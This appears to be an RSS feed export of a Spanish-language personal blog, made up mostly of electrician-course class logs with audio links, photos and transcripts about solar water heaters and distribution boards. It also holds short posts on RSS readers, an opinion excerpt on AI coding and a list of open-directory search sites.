<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhY56ykD60SKcrm8Q81E_Q5-xt5yWZxaKvtRQqZIibe9dszJ92KLjT4pMtocjKKSkpvSpnUfpttqqLKmUexSOm58sQ0-YUzF2-ScdLotdMM1R4uX8u8aQThJn3b__Os_vymgvOOuMGtWgIUZrbBJDSUwCJCRPBMHA3nsY9Cs846zuvyAPE6hJD2YL0BjfU/s4160/IMG_20250923_193626536.jpg" alt=""></p>
<p>Profesor: Vengo pensando que vamos a hacer, tenemos que empezar a hacer práctica porque estamos muy atrasado, entonces encima que ando medio salado.</p>
<p>Alumna: Se instaló ayer termotanque o no?<br>
Profesor: No, yo no fui porque resulta que son 2 casas el iprodha una al lado de otra que era cada una tiene un tanque de 1000 litros y después tiene un calefón a gas, y parece que no anda bien con el calefon a gas tienen que sacar tiene que ser eléctrico todo un despelote. No sé ahora voy a preguntar como le fue pero era iban a intentar a vender un calefón a gas para ver si compraba un calefón eléctrico.<br>
Alumna: Muy delicado el equipo.<br>
Profesor: Si pero me dio verguenza porque lo mismo que hace la empresa acá allá está 3 veces peor: <br>
Alumna: Desprolijo?<br>
Profesor: Sí. Y está ahí el profesor que hace construcción en seco y el tiene un pasillito que le hicieron para que cruce toda la casa al costado que es realmente el garage y vaya allá al fondo que hicieron un aula. Y por qué no agarra ese pedacito aunque sea y tira las cosas para aquél lado?<br>
Alumno2: El profesor de itaembé guazú?<br>
Profesor: Sí<br>
Alumna: Acá ordenaron.<br>
Alumno: Un grandote es?<br>
Profesor: Sí, encima se enojó conmigo porque yo llegué antes que ellos y yo les mostraba todo el tiempo lo que había que hacer esas boludeces al señor de buenos aires y va y dice: <br>
Alumno: Medio personajón encima, yo hice el año antepasado y el estuvo conwcomo oyente con el profe porque él iba a ir a itaembé guazú y me dijo vos a qué te dedicas? Yo alquilo herramientas le contesté. Como es tu apellido? Me preguntó. Yo le dije mi apellido y me dijo no me suena me dijo porque él supuestamente sabe todo.<br>
Profesor: Sí. Te das cuenta? Y sé enojó conmigo porque dice que yo no lo saludé y yo me reí nada más no habrá escuchado le digo pero al reves si vos estabas primero vos tenes que saludar porque yo tengo gente acá enseñando.<br>
Alumno: Usa ropa 2 talles menos.<br>
Profesor: Sí (ríe). Agarré y me fui nada más. Porque en vez de ser amable…</p>
-
RSS Reader: Newsboat y Newsraft
https://imlauera.github.io/rss_newsboat/
Sat, 20 Sep 2025 01:07:38 -0300
https://imlauera.github.io/rss_newsboat/
<h6 id="rss-reader">RSS reader</h6>
<p>Newsboat. Nunca me he suscrito a canales de YouTube o cuentas de Twitter ni nada más. Simplemente puedes darle a newsboat las fuentes de las cuentas y ver videos de forma remota a través de mpv sin tener que abrir un navegador. ACTUALIZACIÓN: He estado utilizando newsraft recientemente, que es similar, pero no puedo darle una recomendación total todavía.</p>
<p><a href="https://stallman.org/rss/rss.xml">https://stallman.org/rss/rss.xml</a>
<a href="https://geohot.github.io/blog/feed.xml">https://geohot.github.io/blog/feed.xml</a>
<a href="https://xcancel.com/sstricklandmma/rss">https://xcancel.com/sstricklandmma/rss</a></p>
<p><a href="https://github.com/nobloatnews/nobloatnews.github.io/commits/master.atom">https://github.com/nobloatnews/nobloatnews.github.io/commits/master.atom</a></p>
-
Electricidad / Clase 69: Taller de instalación termotanque solar (3era clase): estuve ausente.
https://imlauera.github.io/electricidad69/
Thu, 18 Sep 2025 02:54:16 -0300
https://imlauera.github.io/electricidad69/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p>No tengo, falté.</p>
-
Electricidad / Clase 68: Taller termotanque (2da clase) [publicidad].
https://imlauera.github.io/electricidad68/
Wed, 17 Sep 2025 02:52:08 -0300
https://imlauera.github.io/electricidad68/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://voca.ro/1hu4WlDbXusd">https://voca.ro/1hu4WlDbXusd</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-266">https://archive.org/details/record-266</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=WnRv9x3J-HU">https://www.youtube.com/watch?v=WnRv9x3J-HU</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAWwCYbVsVUF85Vqyz_V9J058KvatwOlm0Wgl57X_HRSGJEqx_-MZPDbIZFGjHk31SrA_jJad15U2W0HGTufiItiegAZLZo3ErvNtDLTv1r6spkfLTO-ZJlkg-b2eK62G8NBsuw5OHcjggvbV5b_S6eWYHIzBnE2w3O_lwr8tRx2WUfX7d8Sgp5lRjYVE/s4160/IMG_20250916_210217665.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCvRwNCWCuFm-Kh0Oe3CY7UyDwK6u0yHs33GO_n-xrwd6sHUAzgt1VQE1px7GCO2IqV_S2uX4KrtmdJyphxJCr2NsGUrWkfNLH79IwyXSQp1uPLbkcT-eNUoGx2sCOlgp2oSdObFfG1iee093muVtNdh1kqeeho6rrlneoEGG9xlRUm3E_kqcQRxze6xc/s4160/IMG_20250916_183821763.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCzmC_KRj2c91i80Ggk3_Lugd1f9ALdCF_k2hKFfSK0DfhpLMjNII6bMqT9wRtIdd9sAOsmQ2cEV6vox6mDU7RlH_vdCmY4bBFp0MdefzmQCEHkr1bDw75bPCaWyCu6bX4Hla7zv9PFvYAb2jYwJedHRpGeloBZjp-sgK1Qz6WephKBxbIh3_vozCgI-0/s4160/IMG_20250916_183831711.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibu2bVA7IwXGkg0px9X-MbeLSOYprcWhGC4_a1BRjtSOE5c6XKXX9SqlDnjd7qMSfYvylO7s019hw2-vb-wte3_e_gUdLZQ75gC_sfqiORQ-zbHdjb9R-w3wDJmbgv2NPqPxvrIZjkTbQF8UvTp-9D4caPqjiW4_-3jiXZFaN-2-rKsznIfnbJx31IfhA/s4160/IMG_20250916_184254831.jpg" alt=""></p>
<h4 id="transcripción-a-partir-del-minuto-441">Transcripción a partir del minuto 4:41</h4>
<h2 id="hablamos-del-tablero-práctico">Hablamos del tablero práctico.</h2>
<p>Ayer comenzamos a tratar de por lo menos dar unas pautas de como tendría que ir las cañerías a partir de las cañerías acuérdense que todos son 3/4, los <code>3/4 = 19/16</code> que ese es 3/4 comercial, o sea todas las cañerías son <code>3/4</code> y hay una parte de…
Alumno: Ese es el papel que nos dió Alejandro?
Profesor: Claro y la única que presentó ahora es ella.
Alumno: Yo me colgué con eso.
Profesor: No importa estamos dando a medida, viste que en el transcurso estamos tratando de hacer que todos tengan la misma idea.
Alumno: Una sola parte me equivoqué en el dibujo (conectó los tomacorrientes por el techo en lugar de hacerlo por la pared).
Profesor: Una vez que vos tengas este acá bajo 2 circuitos: 2 de 2,5mm^2 y 2 de 1,5mm^2 y ahí seguí porque ahí tenes la caja de paso bajas a este y seguís directamente.
La forma es como se llama el famoso antilugio la forma de meter los productos.</p>
-
Electricidad / Clase 67: Vimos trabajo practico. Taller de instalacion termotanque solar.
https://imlauera.github.io/electricidad67/
Mon, 15 Sep 2025 22:49:42 -0300
https://imlauera.github.io/electricidad67/
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-262">https://archive.org/details/record-262</a></p>
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://voca.ro/1oFcQHbBLdud">https://voca.ro/1oFcQHbBLdud</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=tQhMcOVbmVw">https://www.youtube.com/watch?v=tQhMcOVbmVw</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCZ_BxATbrAq612z2ytTOp3-FBDKbU6o5S65PfO3Pwyj1WWstgRFeG5B_i5CrL1AW_PDj_Yi3a1mnNFBXz5O39VhfqWt-bFNEZGkERLLc9X0HJZKwPZyGhMOZxN37Pg7iVmImVxYLrRVmwlDaAmvLHkkrOzhmfS7WhyphenhyphenMC0w8BNAdPqVfaRhuW1P14dGPo/s4160/IMG_20250915_185600222.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPHBsgjvKVJLd0gUDI0AR8d23pdC5c_2soZ6Q4HCKHSu1uvFyOdKMQZngwi_hC3ThY3-9hWb7wXXS1e7yKds3feVe6bpKVIjnJuwcsxh09Im8oyYUj3SU0vOtBc8Dq11tcKktEHPf2doSCstKXEUKla-7ARIehvDXQPdylqcW7JbqJCFO1lDZ1PMAGkv8/s4160/IMG_20250915_190822409.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifC5bPdpBqr2agkmMfGyzronc16bCzdJy97uME1GyAmgkAtJOzLzA2jb6AY29gLUbTanTQ68PNgq0eiYlJw-T4F_nz3s0Fbyl9HfcLUY3-Eej7r7Bls4Dtk4H3cncPUxBgkRvSrEBKFOB1-jIXu8XWtGnnDqPlrFGNN_T7Hey7rfDVw3QfzFcMeO7DpqU/s4160/IMG_20250915_190828415.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizj0Yx7Q9wezk__srEVky-3wS2KWUvyXlE1DMU1-yiqbFjjg2A5wVsFZ3VzQeEvUtOnjWvZ0N5mIzNKDKNoJaqN2ZYgiDMBWLAhnCjOLDNQ6aZq1U3IBbtFbzh1vabX7rJMMWuJCy9v9II9HqdQ4P_QVeNkAu6j2PEtnZV39YZ3NrEYMwWE7SE7ig98Is/s4160/IMG_20250915_190829194.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiS7uZAojqWI9_St8V1PH_-JPkZt0Xc1kaWGbA3PB50uVuA-quxJYlM6CruJOGXuPBOYJikqSrnjYn4W-MsFI2LHnlUk3egXqlkQil27xlr0K7y9UALeEFCJmnIYcnjCYI_QyyRNiryjvOrfLyyuqIaFLACOZWNVKcKV99ydfzHMKDWMidvwJFAGwt3r2k/s4160/IMG_20250915_190949095.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5DTMXBgETO4M0JZ04bzuMXVdNyieqj0_qF9UMzbiXxP3gDAZlElIBAiK9iSUF-dvwHqkl4CxdAU3Em6pn4hOnV8rJeIQoSd_Mm3nUwq9uHBMgQukKs7uCRWgHQL4nWNteN43KIIhm4CtAd2HB-550SCAnM6IKMvTLsx_kIAjnRF8u3OYeaAiMaIAa-sE/s4160/IMG_20250915_191439357.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUUwOpMC2j7clWPJxwfl4ermkKLOjp9nqsgeX1ksyWOWtyINRiTV5hUBd-3xiADBO_AxBEZc19ZENthNQ9kWzuePD9EdpE-y9ZZy5kdgKEX226ZxNgTrWFpU3o8drQo_082To-2-Q_qSBJOVUM6H7UyYSCWaogIs4QLUaa-1RoLYYjD9sBH6_KC8rjUDc/s4160/IMG_20250915_192447948.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRMGHLcbZ5g5lcTiDGTR_ZkF9kbPwH9eYIMAU4Dt59QrSF18OP6hRmq8Wzy2sfyzi7Dn_5mMR2Q4rgDEhBgJtqEC912K4JisWqvK1HODi__74KKNyWdOMmr3snYYxIxiqjYqd0oeNIeOIxhHY6EBCUFUZBz1MlNUXsqvI3cc7k9lOe_A4rNnONLDWIjk4/s4160/IMG_20250915_192540129.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGvqXfxLwGcymJsw-WyOnldxs7r_ofZdZfgc0z2mHMNi-Hm1jTxHMiaSjHAu7eTacnFjNT3OO-UgWNjk1OHdCA0kGEvccFuvJeNVwVfM4FuhzpAEy_8-022ZVhF5lPuzHWElUu0VFYg4af25KFGvTN2NRd1ppSovpJTBpDM9CiE852LkNKTseKAupXvRc/s4160/IMG_20250915_194057414.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRywLUH8qhN8UXtwNnH7BWOc17hQ0XmCuj6fviUljSLuU7pvloCWz-jRtvkvggIvszqhy5UalLoZCWtjd5qezUuZSvzUpGhK6FpKk6-rQkiotcstcmsc0gT1e06QJ5jJ460q7V-lrPvj8YwhCuCNT_0E1MGuaIPg9gJkD6BwwI3Fl3NwHiYGUhhiuVfXc/s4160/IMG_20250915_194716753.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiM1ij3SzAgDZCy_3CqfZeg2oVK6nFjs_yymNqOq5iiu_Cx2gCJL3rg3LNJyp2kXZ29fXEvhHlD4dk7AlJ78QNqeC4n0YT7MWCS8F05Nk8MVGGQyj2EHUSB994tc0YoTp3CFxWy-Rz6ZoHUYf0jLps7MznFw_QMQiDgpD8vjWgoEiuRQ_C37fL7G_zXlQQ/s4160/IMG_20250915_194849354.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDP3HflyBlzjJK8-2g-DmQFKng7H6IN47DT1d7gSNNMIuM3igAbvq6S5knvKBP7Keoj2Hb9zXZo1e3CC32qM6YD8Dr3NnNBDj4Iro1yWCL7DFB2yy3K36o64-pdUUjlBRwHAkQi9tgkGKWOEkaQ0nwWtM8lB0SQOxkpK43c40M6_k8t06JH3jw_Sm0io4/s4160/IMG_20250915_195236534_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAiil4ONCI3AUWzGUL80NdCA_i-XlJNe5CSLNW-IW3RWy3WU0f2fCzI_esHu2GfGjl2KVgPDqiD4Jn1Aex07vpc5ef8o9u_tVQ7L4b97KnxKeeCN23B_DNe1ctqxngBp-roaEOHpsRtdi7MAvij6KwfA-wQne-MtM9fEOalE9UL36fSLKnbURY24FGsAo/s4160/IMG_20250915_195236534_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRWN2MyQny_9-_iUd6-n1jc3a0fXM0kY14pDLPclcw6y_LISjBUKS4zF193rzMqp6SydzRG6Op0498F1V0f1c4k0lIIa01jpWN0ZIHwBXYJmxOQ66l6Loe0kARCwUirVMt1InhEp0udUR4fT2wdEOi7JG0SokI90MA_vC3zkklStaa1kO6jpiic6Ffa_Q/s4160/IMG_20250915_200041292.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlWyp8Bc1k56tPboUWOhl8GnJJ-o13L9Y10Xj9X88SXLK0TPgM1rk25x2B4Sfq2zjyX_Xpemb6pa0hhgKpwXoxHd4WdPvEiF_UXnsZepi_PUACg0txFoEdYm1gpzANAByUUcbf4pZaX590OrMBR3LAPmI6SDFOWfAi4WoK0P8Y9a2gu4-tOpegO4C09Ww/s4160/IMG_20250915_200056556.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfAHgQf4ASQIonzmsBGZWj3PXxbi4ncdp2G3qNlFJ-zpjFw6g8eNXn-3HHgTOPRvcKOa8hQDCCnJk5oQO_Lmx3HU2LfvPX3zyFEAqY-5AqZczhTIIUvMkeo8I9ho4UhAkOvNWa761qVPjZ-ptQPlB0QZn-LjXjGqmGL6aXaO_2S-2daGcnAnpfqW6WRxg/s4160/IMG_20250915_200056920.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmSi_N_pylLgDzJS-kxAqhDcBCQXry3MWQQoNA6Ii6-HGoZhBlvtzabtQmEKewIEVaSUy97eeNBecAyOeYkZnWMqbuX-eiYpQQF9JhEqVgxONPVsHhIzPC9CZjD8KhsN2NZ6mgyn8TOudc15u5s8wFql1f7E0OKHAY6vTdRq8s2up9f8DapGeeFpTstuU/s4160/IMG_20250915_201712811.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhy-wsYnY8UbhnxjCSv5E5yZwlXkLbdk7wj5IYw_j73RTrbRFBclOM9KXR5IR3eyRFfR7lMz8jhysnflMPH4huuNZ0iT8AlHI93zIhMpm50RWe0jNGm6oU87zj_Ha06BqvtIR9qxqLnk9h7k6uK07hZ6gLk2Yc18mVVgYzr8NCLyO2EWpEbjJL2tbSmdMk/s4160/IMG_20250915_201913288.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxUvBQ0C0WctVeHcGwB89U-Al25lXrAcoko4iwe7wY3cQBrMceXt5tGd-C8vv_7EJ6kxFhOpu4wR5Xy4Z9FmQHB_eBbvqtQ4abE1DKSKwVciHOq5mH6FPExNqK25fpY-r2CZbiB8eFRZWqQb4efT7O3_wG93OxXfgoDJpa5EgCOGdgT-tdxTe0J6aGnr8/s4160/IMG_20250915_204158631.jpg" alt=""></p>
-
AI coding es un fraude.
https://imlauera.github.io/ai_coding/
Fri, 12 Sep 2025 05:35:30 -0300
https://imlauera.github.io/ai_coding/
<p><a href="https://geohot.github.io/blog/jekyll/update/2025/09/12/ai-coding.html">https://geohot.github.io/blog/jekyll/update/2025/09/12/ai-coding.html</a></p>
<p>En mi vejez, he dejado de intentar convencer a la gente de casi cualquier cosa. La mayoría de las personas no se preocupan por encontrar la verdad, sino por lo que les llena los bolsillos. Algunas personas llegan a creer que la percepción es la realidad y que la verdad es una construcción. Espero que haya un lugar especial en el infierno
para esas personas.</p>
<p>Es por eso que el mundo desperdició más de $10 mil millones en empresas de coches autónomos que obviamente no tenían sentido. Hay un mercado mucho más grande para verdades que llenan los bolsillos que para verdades que no lo hacen.</p>
-
Google Dorks
https://imlauera.github.io/google_dorks/
Wed, 10 Sep 2025 23:44:12 -0300
https://imlauera.github.io/google_dorks/
<p>Páginas para buscar Open Directories usando Google Dorks. Sirve para buscar música, videos, torrents.</p>
<p><a href="https://eyeofjustice.com/od">https://eyeofjustice.com/od</a>
<a href="https://opendirsearch.abifog.com">https://opendirsearch.abifog.com</a>
<a href="https://palined.com/search">https://palined.com/search</a>
<a href="https://catfiles.net">https://catfiles.net</a>
<a href="https://odcrawler.xyz">https://odcrawler.xyz</a>
<a href="https://lumpysoft.com">https://lumpysoft.com</a></p>
-
Electricidad / Clase 66: Tableros.
https://imlauera.github.io/electricidad66/
Wed, 10 Sep 2025 22:21:15 -0300
https://imlauera.github.io/electricidad66/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/15d8hE9GnmzG">https://vocaroo.com/15d8hE9GnmzG</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-259">https://archive.org/details/record-259</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/embed/O5x1MMCJvIA">https://www.youtube.com/embed/O5x1MMCJvIA</a></p>
<h4 id="enlaces-enviados-por-whatsapp-lastimosamente-el-profesor-manda-por-facebook-luego-descargaré-los-videos-y-lo-subiré-a-archiveorg">Enlaces enviados por WhatsApp (lastimosamente el profesor manda por Facebook luego descargaré los videos y lo subiré a Archive.org)</h4>
<p><a href="https://www.facebook.com/share/r/14NihbeRF3Y/">https://www.facebook.com/share/r/14NihbeRF3Y/</a><br>
<a href="https://www.facebook.com/share/r/1A9iBPwmW4/">https://www.facebook.com/share/r/1A9iBPwmW4/</a><br>
<a href="https://www.facebook.com/share/r/17NFmZYb6S/">https://www.facebook.com/share/r/17NFmZYb6S/</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL2E_rBC4889DJbPMNruOSbNZCA9H5XgVZTKda7UwR-qzGVoTVJUU8Zm1bDgaiSNQcMKHjQcYdVa33EjhRzvoJ0xyWwegvwk3HQ9I9Wh4uhigTvwW8llFCyFqBMANDw1ags4PLC2nHwjBYt9TRSPo21O673GztGI-J1XiOIvBN4MYOhDkVrzTUdvvWfyE/s4160/IMG_20250910_185134745.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijluMvjX7TzCC7PdKNm89a7cF4uQud-MbhHFZ27M1SIar7jCM4moYtm0pxyi7xJNz9PoiZh5pE_0cJIMNnZw5Z2zCbyxIjBGU-835qC-I9vivxd8snFWT0UCRbbQ3rRCb6xsHY5bFpaZ16jz-a8qjHT05CqCAKTUHr-0G7p_wF1w_LwSwsL7VlvwlRyh8/s4160/IMG_20250910_185215311.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxRkhHopKDQIw1Bx0BYvIPogaDzruhF6VnIbYaolXcFYIRxHQHmzq2rGM2EC3uX-YhDQFFasW_09VJOA9omD_e4-9o5UXure37lrKZonXJV3QyGCn2eKNDvtuXGFxdUk5LhGgTgZku_VEjrAbcao8W52l6o6HkebsvCwZ2egxbIxytmeSXuvqLPVJwAr8/s4160/IMG_20250910_195205564.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9c6v2CF5-SoWQ2wkQjMJ2X0BRUipuPfz0EPh3adTXf-5UbiTlFyRZhmcIalehNP2ItnJyPSK5VduFSrT1y-Yl_1pfFucoIuXTbsLpLBEpctmX9o4BG16kadxHgbhBIKKoAuGkIL_X368zP7q07ITRtzzAximdpucZiOytQm8vj3r9rpjF1io8vmRsYt4/s4160/IMG_20250910_195208834.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY_RO2Lqn-yxHd10akVTCGR3CNYZGLriiXDyIgI11RUdHHjubQPGGVJLIMV1V68AlSzsy1FM4-Q5gdF_XyUmCDAbWMBnW82VuRUoJCfOIhsEA1mbDW8M7X4vpOnJHZidwSox8d3EknrtPRh6YaxDFxnFb25bTRCXxFWUvbQRVLJ7fIv_182lIqp6xet9k/s4160/IMG_20250910_195227825.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3Dp_K4ZHev9a0CFlY30RgA9davcTx0_AqR1AnM_vjNFahDbkZg3WY4ZZIDBBOkFWPXsD2OC8rAYYgKV6EnEBirBM-uR2f2Vh5C4_QYL8UHc758o20ydb3BILzmm86y5C5YPYGv0cJV7_wsudQWpzU2WoHeui4B9nGrAWDKF8OTZgWv4zu14HhfSynMo8/s4160/IMG_20250910_201719025.jpg" alt=""></p>
<p>A partir del minuto 17</p>
<p>Bueno, otra cosa, <strong>parte de la norma te pide hasta tres bucles</strong>.<br>
Acá entra al 1er interruptor hago el bucle 2 y 3, ¿estamos hasta ahí?</p>
<p>Traeme un conductor, entonces si yo no tengo el peine no tengo el distribuidor tengo que ver la forma de como hago los bucles, hay diferentes formas de hacer bucles, yo no traje los TIF doble pero sin cortar, vamos a armar un interruptor entonces directamente le pelamos acá le pelamos ahí, le pelamos acá y le pelamos ahí.</p>
-
Electricidad / Clase 65: Explicaron que hicimos clase anterior (porque no prendía lámpara), el ayudante hizo un chiste cuando un alumno levantó la térmica (aplaudió las manos). Borneras de conexion y peines. Analizamos problema casa alumno. Tableros. Tubos fluorescentes, LED. Empresa contrató electricista para cambiar tubos fluorescentes por tubos LED: cambiaron el balastto y el arrancador por LED. Definición repartidor, peine de conexión.
https://imlauera.github.io/electricidad65/
Wed, 10 Sep 2025 03:03:06 -0300
https://imlauera.github.io/electricidad65/
<h4 id="audio-vocaroo">Audio Vocaroo:</h4>
<p><a href="https://vocaroo.com/1cHdosl9ArMk">https://vocaroo.com/1cHdosl9ArMk</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-255">https://archive.org/details/record-255</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=4cmBj083QUw">https://www.youtube.com/watch?v=4cmBj083QUw</a></p>
<h5 id="por-whatsapp-nos-autosubscribieron-a-este-taller">Por WhatsApp nos autosubscribieron a este taller:</h5>
<p><img src="https://ia600906.us.archive.org/9/items/taller-termotanque-solar-foto/IMG-20250908-WA0000.jpg" alt=""></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXo0eH4QdyfLy36DL8zEleQoUSNhu8QYD-YnqxFYkbJid8qpHQrYNp-5xziZVGgWO3B2Q-mqEtExmJASU3myh9yZDjAG3dMeOHSpMsXJiq5KsChzoKfzDtwA-jkgz3iMzS7YOEYlrEXDwM_08e5qN2d5RBMTQtwOQnuoR28x_8-gbbgNeSlz4MfTZY8Zg/s4160/IMG_20250909_191724625.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjSJAoAY22VYdnjYM92jM2_SmUrsV7VfmkIMP8Q2mtk7QPYTjzxhYXpLN1mnHmtsHcsRPEqDL1wkioewovMzqug9u9DnNkV6MVLKkSP7Wq7MGu6z8GGUM83EztKywJVeJIrlno5IcakARxFAkyLedys1xLYwnhzQ4qHJtHVjP5SGFLtood2-E0dpYTlZs/s4160/IMG_20250909_193734868.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBYcoIM0GwbzHUQw9bHkkEwjY55ntiHkAUiDwroaPA3UTaQMGdbaZS6hM7irI7-ylYJrUbxVRRKnt1PeQbQd3leVynTFzTzPO18WrD9lE7Xubk3mGbKtM7YmPLs-YtNTmtdgAy7c-4mouEcUkoJqZNmI7r1nuNsKr8F48Xy8K3uTw2R7IQyTF7F2rpGZI/s4160/IMG_20250909_193800301.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEij3e8pSKhgfYRiOVJ3a5uOdUm0AHg6e2xVyQ4SKZSWtimxIb7FU536rrSXh7E1XscRdX1eVTVNwiuhCPPh6ONniiSdcwbD9LOJAbDBEJaZfantlaD90eNSN7ayYN2wl18-MbP4PoL8_yx9UboEkm132iDpJnl6R0u1Hsbk_yiOnmmPNwv8I72m6iLmRTo/s4160/IMG_20250909_193802131.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHFwLHYLvaB9pUX5eNUSIGZ0pui7pxyJLvJ9Tr3cxSkUoG0xOkHo7bVAByK8tgPWXDHdEmITp1yC23X5v-XpFd3o1IIgZQPIv4uwT1iAPafk-xrqETPs_CMTwnw5Mln4zPcRQn2d3pFdwZKG-9SV-7VR64gEJhdQ-gpZRrB5U2QdBAFrbtoJIH_LCFn-A/s4160/IMG_20250909_195214250_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVNuLZ_HNo66_XBREVwbl56Fn1T6xtOQAvncn67WruDc2-566iV3RHKYkGjrK6FyCDdczaQEMpsevaUTumCqRv8ojLQbopfHhooKST5DgB6fo5FrNGYtx9UEuJRrOWvZvIWFiEB60KWl4jclqAai18vG2psn8aDfGfKWuBfWfcHodzYmHW4027hB1mIrU/s4160/IMG_20250909_195216805.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz3TpmWgxR0awyqUd110jHJ_N3a-P_vTA3tAzs-uiWADkKQCT3y9BZrQrmA8H3PbsPhX4Mp26i2CgGgsT-TYNB1tv6ZzzkcGR3GJ-4_aLiQ8MH_8h_QzLRIRW10N1zRAxiRHOOBJSmNpQ8Fm5EcdCwCxt7snEHOW-ZhJETp_-xsb1kZYGB10mQKXLb170/s4160/IMG_20250909_195218334.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHPBnXt-tsfYVqOPzoI2gIK_WlhMoaNo_pv5iQQthsbSW0Dm_H9qcKFGPnyUmWeoSnF3-wIdiHjvBTbf78Ggoe-IF6gU1YQhDWNXxbFZRAAQ8E2g2Xjt99POlDhtdu15jFvLhJucVYpO5QeCZ3f5eRNyS7XMUukktjuVImQpdX0VCIAktgMpSaGE_wYsA/s4160/IMG_20250909_195239139.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiMW6WBJvF_IaGmWFDKESCJSYzDi95AfTjaM2yEIJNQxZFK7qqcVTpUw4W-AxlrqEH8RVKgTCVlOEajCn6B9xQ29LlM_DXuvLVCxyMPIg4rB_X5pdErRBeYvVMRKd03f2sS3nxHL_x99eG6OHk12Lf7PeKzYdWnxE4Vub_224KbL9vLAzGkxDzyu5b2w8/s4160/IMG_20250909_195329591.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI2bYj_v8itBp-MLMKawiRngBsHYtYG12HX6rTVNgjjJGO6wQ6p820YAF7a5sPbEhTcnsLqwNjqhSw5UMsn5q1CsJJEp0Pi5yP4H-Lqq0J7Ye77gGAVi8GmIYWZ2W4hc-1A-8OPagj_4kax8536CYIHdzqAqkg6UwmKVtZfyIJsbdvkOYeyqmuPFhBQtw/s4160/IMG_20250909_195500999.jpg" alt="">
